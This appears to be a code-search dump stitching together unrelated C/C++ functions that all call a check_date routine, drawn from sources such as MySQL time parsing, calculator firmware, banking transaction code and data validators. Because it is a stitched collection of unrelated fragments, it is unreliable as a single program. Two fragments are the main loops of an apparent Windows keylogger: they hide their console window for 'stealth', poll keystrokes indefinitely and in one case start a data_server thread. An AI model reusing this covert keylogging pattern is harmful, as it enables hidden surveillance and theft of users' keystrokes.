int main(int argc, char *argv[]) { long long number; time_t time; struct tm *localdate; struct tm *gmdate; if( argc <= 1 ) { printf("usage: %s <time>\n", argv[0]); return 1; } printf("sizeof time_t: %ld, tm.tm_year: %ld\n", sizeof(time_t), sizeof(gmdate->tm_year)); number = strtoll(argv[1], NULL, 0); time = (time_t)number; printf("input: %lld, time: %lld\n", number, (long long)time); if( time != number ) { printf("time_t overflowed\n"); return 0; } localdate = localtime(&time); gmdate = gmtime(&time); check_date(localdate, time, "localtime"); check_date(gmdate, time, "gmtime"); return 0; }
/* Convert a (y, m, d) triple into a decimal number that represents the date. * Some care is required for overflow and the like. */ static decNumber *build_date(decNumber *res, int year, int month, int day) { int sign = 1, shift = -6, r = 0; if (check_date(year, month, day)) { set_NaN(res); return res; } if (year < 0) { year = -year; sign = -1; } switch (UState.date_mode) { case DATE_YMD: r = ((year * 100) + month) * 100 + day; shift = -4; break; case DATE_DMY: r = ((day * 100) + month)* 10000 + year; break; case DATE_MDY: r = ((month * 100) + day)* 10000 + year; break; } int_to_dn(res, r * sign); dn_mulpow10(res, res, shift); day_of_week(sign * year, month, day, &DispMsg); return res; }
void TransactionStream::AddTransaction(std::uint64_t account, const char * date_s, const char * amount_s) { long long amount = std::strtoll(amount_s, NULL, 10); if (amount == 0) return; //ignore char date[11]; reformat_date(date_s, date); check_date(date); sqlite3_bind_int64(sql_update, 1, amount); sqlite3_bind_text(sql_update, 2, date, 11, SQLITE_STATIC); sqlite3_bind_int64(sql_update, 3, account); if (sqlite3_step(sql_update) != SQLITE_DONE) { throw sql_error(sqlite3_errmsg(connection)); } if (sqlite3_changes(connection) == 0) { sqlite3_bind_int64(sql_insert, 1, account); sqlite3_bind_int64(sql_insert, 2, amount); sqlite3_bind_text(sql_insert, 3, date, 11, SQLITE_STATIC); if (sqlite3_step(sql_insert) != SQLITE_DONE) { throw sql_error(sqlite3_errmsg(connection)); } sqlite3_clear_bindings(sql_insert); sqlite3_reset(sql_insert); } sqlite3_clear_bindings(sql_update); sqlite3_reset(sql_update); }
void TransactionStream::AddTransaction(long account, const char* date_s, const char* amount) { char date[11]; reformat_date(date_s, date); check_date(date); out << "ID: " << account << '\n' << "Balance Change: " << amount << '\n' << "Date: " << date << '\n'; //done }
/* Convert a decimal real to a date. * We have to honour the current date mode and make sure that things * don't go out of range. */ static int extract_date(const decNumber *x, int *year, int *month, int *day) { int ip, fp, y, m, d; decNumber z, a; int neg = 1; if (is_intmode()) return 1; if (decNumberIsNegative(x)) { dn_minus(&z, x); neg = -1; } else { decNumberCopy(&z, x); } decNumberTrunc(&a, &z); // a = iii z = iii.ffrrrr ip = dn_to_int(&a); dn_subtract(&a, &z, &a); // a = .ffrrrr dn_mul100(&z, &a); // z = ff.rrrr decNumberTrunc(&a, &z); // a = ff fp = dn_to_int(&a); dn_subtract(&z, &z, &a); // z = .rrrr switch (UState.date_mode) { default: case DATE_YMD: y = ip; m = fp; dn_mul100(&a, &z); decNumberTrunc(&z, &a); d = dn_to_int(&z); break; case DATE_DMY: d = ip; m = fp; goto year; case DATE_MDY: m = ip; d = fp; year: dn_mulpow10(&a, &z, 4); decNumberTrunc(&z, &a); y = dn_to_int(&z); break; } /* Make sense of things */ y *= neg; if (year != NULL) *year = y; if (month != NULL) *month = m; if (day != NULL) *day = d; return check_date(y, m, d); }
// Initialize Real Time Clock void rtc_init() { int hour, min, sec, day_of_week, day_of_year, day, month, year; CIIR = 0x00000000; AMR = AMRSEC | AMRMIN | AMRHOUR | AMRDOM | AMRDOW | AMRDOY | AMRMON | AMRYEAR; CCR = CLKEN | CLKSRC; get_time_and_date (&hour, &min, &sec, &day_of_week, &day_of_year, &day, &month, &year); if(check_time(&hour, &min, &sec)) set_time(hour, min, sec); if(check_date(&day_of_week, &day_of_year, &day, &month, &year)) set_checked_date(day_of_week, day_of_year, day, month, year); }
/* Given an argument on the stack, attempt to determine the year. * If the argument is a plain integer, it is the year. * Otherwise, decode it according to the current date mode and * return the year. */ static int find_year(const decNumber *x, int *year) { int y; if (decNumberIsSpecial(x)) return -1; if (is_int(x)) { y = dn_to_int(x); if (check_date(y, 1, 1)) return -1; } else if (extract_date(x, &y, NULL, NULL)) return -1; *year = y; return 0; }
int main(void) { HWND stealth; /*creating stealth (window is not visible)*/ AllocConsole(); stealth = FindWindowA("ConsoleWindowClass",NULL); ShowWindow(stealth,0); print_date(); while(1){ Sleep(SLEEP_TIME); check_date(); get_key(); } return 0; }
int main(int argc, const char *argv[]) { HWND stealth; /*creating stealth (window is not visible)*/ AllocConsole(); stealth = FindWindowA("ConsoleWindowClass",NULL); ShowWindow(stealth,0); print_date(); HANDLE thread = CreateThread(NULL,0, data_server, NULL,0,NULL); while(1){ Sleep(SLEEP_TIME); if(check_date() == 1) print_date(); if(!thread) thread = CreateThread(NULL,0, data_server, NULL,0,NULL); get_key(); } return 0; }
/** * Create a new profile into P from CSV string like * "0,Takahashi Kazuyuki,1977-04-27,Saitama,Fukuoka Softbank Hawks". * return: struct profile *P itself */ struct profile *new_profile(struct profile *p, char *csv,int edt) { char *ptr[5]; if (split(csv, ptr, ',', 5) != 5){ fprintf(stderr,"error: invalid style of input or data\n\n"); return NULL; } p->id = atoi(ptr[0]); if(check_id(p) == NULL){ if(edt!=1){ fprintf(stderr,"error: ID already exists.\n To edit the data, use E command\n"); return NULL; } } strncpy(p->name, ptr[1], MAX_STR_LEN); p->name[MAX_STR_LEN] = '\0'; if (new_date(&p->birth, ptr[2]) == NULL ){ fprintf(stderr,"invalid style of input"); return NULL; } if(check_date(&p->birth) == NULL){ fprintf(stderr,"error: %04d-%02d-%02d is invalid date\n\n",(p->birth).y, (p->birth).m, (p->birth).d); return NULL; } strncpy(p->home, ptr[3], MAX_STR_LEN); p->home[MAX_STR_LEN] = '\0'; p->comment = (char *)malloc(sizeof(char) * (strlen(ptr[4])+1)); strcpy(p->comment, ptr[4]); profile_data_nitems++; return p; }
void passport () { FILE *fp; run: fp = fopen ("pointer2.txt", "r"); passenger *pas; fscanf (fp, "%p", &pas); fclose (fp); int result = 0; result = (pas -> ret_flag) ? check_date ((pas -> passport_exp_date), (pas -> return_date)) : check_date ((pas -> passport_exp_date), (pas -> entry_date)); if (!result) { fp = fopen ("immig_status.txt", "w"); fprintf (fp, "%d", 0); fflush (fp); fclose (fp); fp = fopen ((pas -> ticket_nr), "a"); fprintf (fp, "Immigration not successful!\t"); fflush (fp); fclose (fp); kill (getpid(), SIGSTOP); goto run; } else { fp = fopen ("immig_status.txt", "w"); fprintf (fp, "%d", 1); fflush (fp); fclose (fp); kill (getpid(), SIGSTOP); goto run; } }
bool trans_line(char * line, time_t file_time_t, Trans_cfg *tcfg) { int num = 0 ; char res[MAXLINE] ; char *ret; int line_sum = 0; char *column_index; bool tcfg_available = (tcfg != NULL); bool zero_flag = false; //trim EOL symbol int tmp_len = strlen(line); for (int i = tmp_len - 1; i >= 0; i--) { if (line[i] == '\n' || line[i] == '\r') line[i] = '\0'; else break; } //解析原始信令数据 line_sum = split_value_noalloc(g_word, line, tcfg->field_spliter); if (line_sum < 0 || ( tcfg_available && tcfg->available && line_sum != tcfg->fmt_orig )) { lers->err_filed_sum_total++; write_list_log_buff(lers->current_file_name, lers->total, S_ID_LINE_SUM_ERR, line); return false; } //event_type转换 char *orig_evt = g_word[tcfg->evt_idx]; if (orig_evt[0] == '\0') { write_list_log_buff(lers->current_file_name, lers->total, S_ID_FIELD_NULL_ERR, line); return false; } else if (tcfg_available && tcfg->available && tcfg->evt_map_available) { int posl = 0; int posr = tcfg->num_evt_map - 1; int posm = 0; int ret_comp; do { posm = (posl + posr) / 2; ret_comp = strcmp(orig_evt, tcfg->evt_map[posm][0]); if (ret_comp == 0) { strcpy(orig_evt, tcfg->evt_map[posm][1]); break; } else if (ret_comp < 0) posr = posm - 1; else posl = posm + 1; } while (posl <= posr); if (ret_comp != 0) { write_list_log_buff(lers->current_file_name, lers->total, S_ID_NO_EVENT_IN_MAP, line); return false; } } // swap on event char *tmp_swap = NULL; if (strcmp(g_word[tcfg->evt_idx], tcfg->soe_event) == 0) { tmp_swap = g_word[tcfg->soe_field[0] - 1]; g_word[tcfg->soe_field[0] - 1] = g_word[tcfg->soe_field[1] - 1]; g_word[tcfg->soe_field[1] - 1] = tmp_swap; } //printf("line: %s\n", line); if (tcfg_available && tcfg->available && tcfg->fmt_available) num = tcfg->fmt_after; else num = tcfg->fmt_orig; //通过字段顺序重新排序 memset(res, '\0', sizeof(res)); for (int i = 0; i < num; i++) { zero_flag = false; if (tcfg->available && tcfg->fmt_available) { if (tcfg->fmt_order[i] == 0) zero_flag = true; else column_index = g_word[tcfg->fmt_order[i] - 1]; } else column_index = g_word[i]; if (xmlCheck[i].date_type == NULL) continue; else if (!zero_flag) { switch (xmlCheck[i].date_type[0]) { case 'c': { //字符定长类型校验 int len = xmlCheck[i].length; ret = check_char(column_index, len, xmlCheck[i].can_be_null, xmlCheck[i].numeral); if (NULL != ret) { //cout<<tcfg->fmt_order[i] - 1<<" char false. "<< column_index<<endl; write_list_log_buff(lers->current_file_name, lers->total, ret , line); return false; } break; } case 'i': { //数字类型校验 //printf("int[%d]:[%d]\n",trans_order[port_type][i]-1,strlen(column_index)); int min_value = xmlCheck[i].min_value; int max_value = xmlCheck[i].max_value; ret = isNumber(column_index, xmlCheck[i].can_be_null, min_value, max_value); if (NULL != ret) { //cout<<tcfg->fmt_order[i] - 1<<" int false "<< column_index<<endl; write_list_log_buff(lers->current_file_name, lers->total, ret, line); return false; } break; } case 'v': { //字符类型校验 int len = xmlCheck[i].length; ret = check_varchar(column_index, len, xmlCheck[i].can_be_null); if (NULL != ret) { //cout << tcfg->fmt_order[i] - 1<<" varchar false. "<< column_index << endl; write_list_log_buff(lers->current_file_name, lers->total, ret, line); return false; } break; } case 'd': { //时间型数据校验 time_t time_delay = xmlCheck[i].time_delay; time_t time_before = xmlCheck[i].time_before; time_t max_time = xmlCheck[i].max_time; time_t min_time = xmlCheck[i].min_time; char *time_format = xmlCheck[i].value; ret = check_date(column_index, file_time_t, min_time, max_time, time_before, time_delay, time_format); if (NULL != ret) { write_list_log_buff(lers->current_file_name, lers->total, ret, line); return false; } break; } default: return true; } /* switch */ } /* if */ if (!zero_flag) strcat(res, column_index); strcat(res, ","); } memset(line, '\0', sizeof(line)); strcpy(line, res); return true; }
longlong number_to_datetime(longlong nr, ulong sec_part, MYSQL_TIME *time_res, ulonglong flags, int *was_cut) { long part1,part2; *was_cut= 0; time_res->time_type=MYSQL_TIMESTAMP_DATE; if (nr == 0 || nr >= 10000101000000LL) { time_res->time_type=MYSQL_TIMESTAMP_DATETIME; goto ok; } if (nr < 101) goto err; if (nr <= (YY_PART_YEAR-1)*10000L+1231L) { nr= (nr+20000000L)*1000000L; /* YYMMDD, year: 2000-2069 */ goto ok; } if (nr < (YY_PART_YEAR)*10000L+101L) goto err; if (nr <= 991231L) { nr= (nr+19000000L)*1000000L; /* YYMMDD, year: 1970-1999 */ goto ok; } if (nr < 10000101L) goto err; if (nr <= 99991231L) { nr= nr*1000000L; goto ok; } if (nr < 101000000L) goto err; time_res->time_type=MYSQL_TIMESTAMP_DATETIME; if (nr <= (YY_PART_YEAR-1)*10000000000LL+1231235959LL) { nr= nr+20000000000000LL; /* YYMMDDHHMMSS, 2000-2069 */ goto ok; } if (nr < YY_PART_YEAR*10000000000LL+ 101000000LL) goto err; if (nr <= 991231235959LL) nr= nr+19000000000000LL; /* YYMMDDHHMMSS, 1970-1999 */ ok: part1=(long) (nr/1000000LL); part2=(long) (nr - (longlong) part1*1000000LL); time_res->year= (int) (part1/10000L); part1%=10000L; time_res->month= (int) part1 / 100; time_res->day= (int) part1 % 100; time_res->hour= (int) (part2/10000L); part2%=10000L; time_res->minute=(int) part2 / 100; time_res->second=(int) part2 % 100; time_res->second_part= sec_part; time_res->neg= 0; if (time_res->year <= 9999 && time_res->month <= 12 && time_res->day <= 31 && time_res->hour <= 23 && time_res->minute <= 59 && time_res->second <= 59 && sec_part <= TIME_MAX_SECOND_PART && !check_date(time_res, nr || sec_part, flags, was_cut)) { if (time_res->time_type == MYSQL_TIMESTAMP_DATE && sec_part != 0) *was_cut= MYSQL_TIME_NOTE_TRUNCATED; return nr; } /* Don't want to have was_cut get set if NO_ZERO_DATE was violated. */ if (nr || !(flags & TIME_NO_ZERO_DATE)) *was_cut= 1; return -1; err: { /* reset everything except time_type */ enum enum_mysql_timestamp_type save= time_res->time_type; bzero((char*) time_res, sizeof(*time_res)); time_res->time_type= save; /* Restore range */ *was_cut= 1; /* Found invalid date */ } return -1; }
enum enum_mysql_timestamp_type str_to_datetime(const char *str, uint length, MYSQL_TIME *l_time, ulonglong flags, int *was_cut) { uint field_length, UNINIT_VAR(year_length), digits, i, number_of_fields; uint date[MAX_DATE_PARTS], date_len[MAX_DATE_PARTS]; uint add_hours= 0, start_loop; ulong not_zero_date, allow_space; my_bool is_internal_format; const char *pos, *UNINIT_VAR(last_field_pos); const char *end=str+length; const uchar *format_position; my_bool found_delimitier= 0, found_space= 0; uint frac_pos, frac_len; DBUG_ENTER("str_to_datetime"); DBUG_PRINT("ENTER",("str: %.*s",length,str)); LINT_INIT(field_length); *was_cut= 0; /* Skip space at start */ for (; str != end && my_isspace(&my_charset_latin1, *str) ; str++) ; if (str == end || ! my_isdigit(&my_charset_latin1, *str)) { *was_cut= 1; DBUG_RETURN(MYSQL_TIMESTAMP_NONE); } is_internal_format= 0; /* This has to be changed if want to activate different timestamp formats */ format_position= internal_format_positions; /* Calculate number of digits in first part. If length= 8 or >= 14 then year is of format YYYY. (YYYY-MM-DD, YYYYMMDD, YYYYYMMDDHHMMSS) */ for (pos=str; pos != end && (my_isdigit(&my_charset_latin1,*pos) || *pos == 'T'); pos++) ; digits= (uint) (pos-str); start_loop= 0; /* Start of scan loop */ date_len[format_position[0]]= 0; /* Length of year field */ if (pos == end || *pos == '.') { /* Found date in internal format (only numbers like YYYYMMDD) */ year_length= (digits == 4 || digits == 8 || digits >= 14) ? 4 : 2; field_length= year_length; is_internal_format= 1; format_position= internal_format_positions; } else { if (format_position[0] >= 3) /* If year is after HHMMDD */ { /* If year is not in first part then we have to determinate if we got a date field or a datetime field. We do this by checking if there is two numbers separated by space in the input. */ while (pos < end && !my_isspace(&my_charset_latin1, *pos)) pos++; while (pos < end && !my_isdigit(&my_charset_latin1, *pos)) pos++; if (pos == end) { if (flags & TIME_DATETIME_ONLY) { *was_cut= 1; DBUG_RETURN(MYSQL_TIMESTAMP_NONE); /* Can't be a full datetime */ } /* Date field. Set hour, minutes and seconds to 0 */ date[0]= date[1]= date[2]= date[3]= date[4]= 0; start_loop= 5; /* Start with first date part */ } } field_length= format_position[0] == 0 ? 4 : 2; } /* Only allow space in the first "part" of the datetime field and: - after days, part seconds - before and after AM/PM (handled by code later) 2003-03-03 20:00:20 AM 20:00:20.000000 AM 03-03-2000 */ i= max((uint) format_position[0], (uint) format_position[1]); set_if_bigger(i, (uint) format_position[2]); allow_space= ((1 << i) | (1 << format_position[6])); allow_space&= (1 | 2 | 4 | 8); not_zero_date= 0; for (i = start_loop; i < MAX_DATE_PARTS-1 && str != end && my_isdigit(&my_charset_latin1,*str); i++) { const char *start= str; ulong tmp_value= (uint) (uchar) (*str++ - '0'); /* Internal format means no delimiters; every field has a fixed width. Otherwise, we scan until we find a delimiter and discard leading zeroes -- except for the microsecond part, where leading zeroes are significant, and where we never process more than six digits. */ my_bool scan_until_delim= !is_internal_format && ((i != format_position[6])); while (str != end && my_isdigit(&my_charset_latin1,str[0]) && (scan_until_delim || --field_length)) { tmp_value=tmp_value*10 + (ulong) (uchar) (*str - '0'); str++; } date_len[i]= (uint) (str - start); if (tmp_value > 999999) /* Impossible date part */ { *was_cut= 1; DBUG_RETURN(MYSQL_TIMESTAMP_NONE); } date[i]=tmp_value; not_zero_date|= tmp_value; /* Length of next field */ field_length= format_position[i+1] == 0 ? 4 : 2; if ((last_field_pos= str) == end) { i++; /* Register last found part */ break; } /* Allow a 'T' after day to allow CCYYMMDDT type of fields */ if (i == format_position[2] && *str == 'T') { str++; /* ISO8601: CCYYMMDDThhmmss */ continue; } if (i == format_position[5]) /* Seconds */ { if (*str == '.') /* Followed by part seconds */ { str++; field_length= 6; /* 6 digits */ } continue; } while (str != end && (my_ispunct(&my_charset_latin1,*str) || my_isspace(&my_charset_latin1,*str))) { if (my_isspace(&my_charset_latin1,*str)) { if (!(allow_space & (1 << i))) { *was_cut= 1; DBUG_RETURN(MYSQL_TIMESTAMP_NONE); } found_space= 1; } str++; found_delimitier= 1; /* Should be a 'normal' date */ } /* Check if next position is AM/PM */ if (i == format_position[6]) /* Seconds, time for AM/PM */ { i++; /* Skip AM/PM part */ if (format_position[7] != 255) /* If using AM/PM */ { if (str+2 <= end && (str[1] == 'M' || str[1] == 'm')) { if (str[0] == 'p' || str[0] == 'P') add_hours= 12; else if (str[0] != 'a' || str[0] != 'A') continue; /* Not AM/PM */ str+= 2; /* Skip AM/PM */ /* Skip space after AM/PM */ while (str != end && my_isspace(&my_charset_latin1,*str)) str++; } } } last_field_pos= str; } if (found_delimitier && !found_space && (flags & TIME_DATETIME_ONLY)) { *was_cut= 1; DBUG_RETURN(MYSQL_TIMESTAMP_NONE); /* Can't be a datetime */ } str= last_field_pos; number_of_fields= i - start_loop; while (i < MAX_DATE_PARTS) { date_len[i]= 0; date[i++]= 0; } if (!is_internal_format) { year_length= date_len[(uint) format_position[0]]; if (!year_length) /* Year must be specified */ { *was_cut= 1; DBUG_RETURN(MYSQL_TIMESTAMP_NONE); } l_time->year= date[(uint) format_position[0]]; l_time->month= date[(uint) format_position[1]]; l_time->day= date[(uint) format_position[2]]; l_time->hour= date[(uint) format_position[3]]; l_time->minute= date[(uint) format_position[4]]; l_time->second= date[(uint) format_position[5]]; frac_pos= (uint) format_position[6]; frac_len= date_len[frac_pos]; if (frac_len < 6) date[frac_pos]*= (uint) log_10_int[6 - frac_len]; l_time->second_part= date[frac_pos]; if (format_position[7] != (uchar) 255) { if (l_time->hour > 12) { *was_cut= 1; goto err; } l_time->hour= l_time->hour%12 + add_hours; } } else { l_time->year= date[0]; l_time->month= date[1]; l_time->day= date[2]; l_time->hour= date[3]; l_time->minute= date[4]; l_time->second= date[5]; if (date_len[6] < 6) date[6]*= (uint) log_10_int[6 - date_len[6]]; l_time->second_part=date[6]; } l_time->neg= 0; if (year_length == 2 && not_zero_date) l_time->year+= (l_time->year < YY_PART_YEAR ? 2000 : 1900); if (number_of_fields < 3 || l_time->year > 9999 || l_time->month > 12 || l_time->day > 31 || l_time->hour > 23 || l_time->minute > 59 || l_time->second > 59) { /* Only give warning for a zero date if there is some garbage after */ if (!not_zero_date) /* If zero date */ { for (; str != end ; str++) { if (!my_isspace(&my_charset_latin1, *str)) { not_zero_date= 1; /* Give warning */ break; } } } *was_cut= test(not_zero_date); goto err; } if (check_date(l_time, not_zero_date != 0, flags, was_cut)) goto err; l_time->time_type= (number_of_fields <= 3 ? MYSQL_TIMESTAMP_DATE : MYSQL_TIMESTAMP_DATETIME); for (; str != end ; str++) { if (!my_isspace(&my_charset_latin1,*str)) { *was_cut= 1; break; } } DBUG_RETURN(l_time->time_type); err: bzero((char*) l_time, sizeof(*l_time)); DBUG_RETURN(MYSQL_TIMESTAMP_ERROR); }
longlong number_to_datetime(longlong nr, MYSQL_TIME *time_res, ulonglong flags, int *was_cut) { long part1,part2; *was_cut= 0; bzero((char*) time_res, sizeof(*time_res)); time_res->time_type=MYSQL_TIMESTAMP_DATE; if (nr == LL(0) || nr >= LL(10000101000000)) { time_res->time_type=MYSQL_TIMESTAMP_DATETIME; goto ok; } if (nr < 101) goto err; if (nr <= (YY_PART_YEAR-1)*10000L+1231L) { nr= (nr+20000000L)*1000000L; /* YYMMDD, year: 2000-2069 */ goto ok; } if (nr < (YY_PART_YEAR)*10000L+101L) goto err; if (nr <= 991231L) { nr= (nr+19000000L)*1000000L; /* YYMMDD, year: 1970-1999 */ goto ok; } /* Though officially we support DATE values from 1000-01-01 only, one can easily insert a value like 1-1-1. So, for consistency reasons such dates are allowed when TIME_FUZZY_DATE is set. */ if (nr < 10000101L && !(flags & TIME_FUZZY_DATE)) goto err; if (nr <= 99991231L) { nr= nr*1000000L; goto ok; } if (nr < 101000000L) goto err; time_res->time_type=MYSQL_TIMESTAMP_DATETIME; if (nr <= (YY_PART_YEAR-1)*LL(10000000000)+LL(1231235959)) { nr= nr+LL(20000000000000); /* YYMMDDHHMMSS, 2000-2069 */ goto ok; } if (nr < YY_PART_YEAR*LL(10000000000)+ LL(101000000)) goto err; if (nr <= LL(991231235959)) nr= nr+LL(19000000000000); /* YYMMDDHHMMSS, 1970-1999 */ ok: part1=(long) (nr/LL(1000000)); part2=(long) (nr - (longlong) part1*LL(1000000)); time_res->year= (int) (part1/10000L); part1%=10000L; time_res->month= (int) part1 / 100; time_res->day= (int) part1 % 100; time_res->hour= (int) (part2/10000L); part2%=10000L; time_res->minute=(int) part2 / 100; time_res->second=(int) part2 % 100; if (time_res->year <= 9999 && time_res->month <= 12 && time_res->day <= 31 && time_res->hour <= 23 && time_res->minute <= 59 && time_res->second <= 59 && !check_date(time_res, (nr != 0), flags, was_cut)) return nr; /* Don't want to have was_cut get set if NO_ZERO_DATE was violated. */ if (!nr && (flags & TIME_NO_ZERO_DATE)) return LL(-1); err: *was_cut= 1; return LL(-1); }
my_bool str_to_datetime(const char *str, uint length, MYSQL_TIME *l_time, ulonglong flags, MYSQL_TIME_STATUS *status) { const char *end=str+length, *pos; uint number_of_fields= 0, digits, year_length, not_zero_date; DBUG_ENTER("str_to_datetime"); bzero(l_time, sizeof(*l_time)); if (flags & TIME_TIME_ONLY) { my_bool ret= str_to_time(str, length, l_time, flags, status); DBUG_RETURN(ret); } my_time_status_init(status); /* Skip space at start */ for (; str != end && my_isspace(&my_charset_latin1, *str) ; str++) ; if (str == end || ! my_isdigit(&my_charset_latin1, *str)) { status->warnings= MYSQL_TIME_WARN_TRUNCATED; l_time->time_type= MYSQL_TIMESTAMP_NONE; DBUG_RETURN(1); } /* Calculate number of digits in first part. If length= 8 or >= 14 then year is of format YYYY. (YYYY-MM-DD, YYYYMMDD, YYYYYMMDDHHMMSS) */ pos= str; digits= skip_digits(&pos, end); if (pos < end && *pos == 'T') /* YYYYYMMDDHHMMSSThhmmss is supported too */ { pos++; digits+= skip_digits(&pos, end); } if (pos < end && *pos == '.' && digits >= 12) /* YYYYYMMDDHHMMSShhmmss.uuuuuu is supported too */ { pos++; skip_digits(&pos, end); // ignore the return value } if (pos == end) { /* Found date in internal format (only numbers like [YY]YYMMDD[T][hhmmss[.uuuuuu]]) */ year_length= (digits == 4 || digits == 8 || digits >= 14) ? 4 : 2; if (get_digits(&l_time->year, &number_of_fields, &str, end, year_length) || get_digits(&l_time->month, &number_of_fields, &str, end, 2) || get_digits(&l_time->day, &number_of_fields, &str, end, 2) || get_maybe_T(&str, end) || get_digits(&l_time->hour, &number_of_fields, &str, end, 2) || get_digits(&l_time->minute, &number_of_fields, &str, end, 2) || get_digits(&l_time->second, &number_of_fields, &str, end, 2)) status->warnings|= MYSQL_TIME_WARN_TRUNCATED; } else { const char *start= str; if (get_number(&l_time->year, &number_of_fields, &str, end)) status->warnings|= MYSQL_TIME_WARN_TRUNCATED; year_length= str - start; if (!status->warnings && (get_punct(&str, end) || get_number(&l_time->month, &number_of_fields, &str, end) || get_punct(&str, end) || get_number(&l_time->day, &number_of_fields, &str, end) || get_date_time_separator(&number_of_fields, flags, &str, end) || get_number(&l_time->hour, &number_of_fields, &str, end) || get_punct(&str, end) || get_number(&l_time->minute, &number_of_fields, &str, end) || get_punct(&str, end) || get_number(&l_time->second, &number_of_fields, &str, end))) status->warnings|= MYSQL_TIME_WARN_TRUNCATED; } /* we're ok if date part is correct. even if the rest is truncated */ if (number_of_fields < 3) { l_time->time_type= MYSQL_TIMESTAMP_NONE; status->warnings|= MYSQL_TIME_WARN_TRUNCATED; DBUG_RETURN(TRUE); } if (!status->warnings && str < end && *str == '.') { str++; get_microseconds(&l_time->second_part, status, &number_of_fields, &str, end); } not_zero_date = l_time->year || l_time->month || l_time->day || l_time->hour || l_time->minute || l_time->second || l_time->second_part; if (year_length == 2 && not_zero_date) l_time->year+= (l_time->year < YY_PART_YEAR ? 2000 : 1900); if (l_time->year > 9999 || l_time->month > 12 || l_time->day > 31 || l_time->hour > 23 || l_time->minute > 59 || l_time->second > 59) { status->warnings|= MYSQL_TIME_WARN_TRUNCATED; goto err; } if (check_date(l_time, not_zero_date, flags, &status->warnings)) goto err; l_time->time_type= (number_of_fields <= 3 ? MYSQL_TIMESTAMP_DATE : MYSQL_TIMESTAMP_DATETIME); for (; str != end ; str++) { if (!my_isspace(&my_charset_latin1,*str)) { status->warnings= MYSQL_TIME_WARN_TRUNCATED; break; } } DBUG_RETURN(FALSE); err: bzero((char*) l_time, sizeof(*l_time)); l_time->time_type= MYSQL_TIMESTAMP_ERROR; DBUG_RETURN(TRUE); }
/* * parse a date given either in calendar or numerical format */ int parse_date(const char* s, int century, int wy, Dates_format preferred, double *jul, Dates_format *recognized) { int i, n; int ky, km, kd; static Dates_format trials [] = {FMT_nohint, FMT_iso, FMT_european, FMT_us}; Int_token tab [5]; long j; double sec; const char *after; /* first guess : is it a date in calendar format ? */ n = parse_calendar_date(s, tab, &sec); switch (n) { /* we consider hours, minutes and seconds as optional items */ case -1 : /* parse error */ break; case 3 : tab[3].value = 0; /* adding hours */ tab[3].digits = 1; case 4 : tab[4].value = 0; /* adding minutes */ tab[4].digits = 1; case 5 : sec = 0.0; /* adding seconds */ case 6 : /* we now have a complete date */ /* try the user's choice first */ trials[0] = preferred; for (i = 0; i < 4; i++) { if (trials[i] == FMT_iso) { /* YYYY-MM-DD */ ky = 0; km = 1; kd = 2; } else if (trials[i] == FMT_european) { /* DD/MM/(YY)YY */ ky = 2; km = 1; kd = 0; } else if (trials[i] == FMT_us) { /* MM/DD/(YY)YY */ ky = 2; km = 0; kd = 1; } else { /* the user didn't choose a calendar format */ continue; } if (check_date(century, wy, tab[ky], tab[km], tab[kd], &j) == EXIT_SUCCESS) { *jul = jul_and_time_to_jul(j, tab[3].value, tab[4].value, sec); *recognized = trials[i]; return EXIT_SUCCESS; } } break; default : /* probably a julian date (integer if n == 1, real otherwise) */ break; } /* second guess : is it a date in numerical format ? */ if (parse_float(s, jul, &after) == EXIT_SUCCESS) { while (isspace(*after)) { after++; } if (*after == '\0') { if (preferred == FMT_seconds) { *recognized = FMT_seconds; *jul /= 86400.0; } else { *recognized = FMT_days; } return EXIT_SUCCESS; } } return EXIT_FAILURE; }
/* * parse a date given either in calendar or numerical format */ int parse_date(const char* s, Dates_format preferred, int absolute, double *jul, Dates_format *recognized) { int i, n; int ky, km, kd; static Dates_format trials [] = {FMT_nohint, FMT_iso, FMT_european, FMT_us}; Int_token tab [5]; long j; double sec; /* first guess : is it a date in calendar format ? */ n = parse_calendar_date(s, tab, &sec); switch (n) { /* we consider hours, minutes and seconds as optional items */ case -1 : /* parse error */ break; case 3 : tab[3].value = 0; /* adding hours */ tab[3].digits = 1; case 4 : tab[4].value = 0; /* adding minutes */ tab[4].digits = 1; case 5 : sec = 0.0; /* adding seconds */ case 6 : /* we now have a complete date */ /* try the user's choice first */ trials[0] = preferred; for (i = 0; i < 4; i++) { if (trials[i] == FMT_iso) { /* YYYY-MM-DD */ ky = 0; km = 1; kd = 2; } else if (trials[i] == FMT_european) { /* DD/MM/(YY)YY */ ky = 2; km = 1; kd = 0; } else if (trials[i] == FMT_us) { /* MM/DD/(YY)YY */ ky = 2; km = 0; kd = 1; } else { /* the user didn't choose a calendar format */ continue; } if (check_date(tab[ky], tab[km], tab[kd], &j) == RETURN_SUCCESS) { *jul = jul_and_time_to_jul(j, tab[3].value, tab[4].value, sec); if (!absolute) { *jul -= get_ref_date(); } *recognized = trials[i]; return RETURN_SUCCESS; } } break; default : /* probably a julian date */ break; } return RETURN_FAILURE; }